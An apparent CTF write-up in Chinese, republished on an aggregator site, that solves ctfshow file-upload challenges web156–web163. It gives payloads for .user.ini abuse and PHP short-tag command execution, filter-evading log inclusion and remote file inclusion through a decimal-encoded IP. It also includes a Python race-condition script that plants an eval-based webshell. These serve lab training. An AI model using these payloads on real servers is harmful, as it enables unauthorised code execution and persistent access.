IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [ctfshow]web入门——文件上传(web156-web163) -> 正文阅读

[PHP知识库][ctfshow]web入门——文件上传(web156-web163)

[ctfshow]web入门——文件上传(web156-web163)

本文来自csdn的??shu天??,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ?ω? @)ノ!!


web156

上传.user.ini

上传口
在这里插入图片描述
试了试upload界面有一个默认文件,可以用上传.user.ini的方法
在这里插入图片描述
后台应该是屏蔽了很多字符串(php,eval,post等等),甚至连正常图片都传不上去
试了一下php短标签<? ?>还可以用
先找一下flag在哪
在这里插入图片描述
在这里插入图片描述
然后读flag的内容

<? exec("cat ../flag* > 2.txt");?>

访问/upload/,然后再访问/upload/2.txt,看到flag
在这里插入图片描述


web157

payload同上题,屏蔽了;

<? exec("cat ../flag* > 2.txt")?>

在这里插入图片描述


web158

payload同上题

<? exec("cat ../flag* > 2.txt")?>

在这里插入图片描述


web159

payload同上,括号被屏蔽,用反引号执行命令

<? `cat ../flag* > 2.txt` ?>

在这里插入图片描述


web160

上传.user.ini+日志包含

过滤了反引号和空格,没有办法上传危险的函数了
所以利用include文件包含传🐎
注意log被过滤

<?include"/var/l"."og/nginx/access.lo"."g"?>

在这里插入图片描述
在这里插入图片描述


web161

估计是检测文件头,加个GIF89a?
在这里插入图片描述
然后同上一题用日志包含

<?include"/var/l"."og/nginx/access.lo"."g"?>

在这里插入图片描述


web162

过滤了.,所以不能利用日志包含了,先正常上传.user.ini

123
然后有两种方法

way1:远程文件包含

在这里插入图片描述
因为不能有.所以将IP转换为十进制,我的默认路由就是一句话木马
在这里插入图片描述

如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件
https://www.jianshu.com/p/be68cf9be911

<?=include"http://3024726958"?>

在这里插入图片描述

way2:session条件竞争包含

利用session.upload_progress将木马写入session文件,然后包含这个session文件。
首先在.user.ini包含/tmp/sess_{sessid}

auto_append_file=/tmp/sess_xiao

在这里插入图片描述

import io
import sys
import requests
import threading

host = 'http://6038fed7-c4a1-4d83-98cc-45dba9f44a8d.challenge.ctf.show/'
sessid = 'xiaozS'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}/upload/')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

呜呜呜条件竞争了好久没成功,不知道为什么


web163

同上用远程文件包含

GIF89a?
auto_append_file=http://6024326456

在这里插入图片描述

本文来自csdn的??shu天??,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ?ω? @)ノ!!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-21 20:28:31  更:2022-03-21 20:30:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 22:47:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码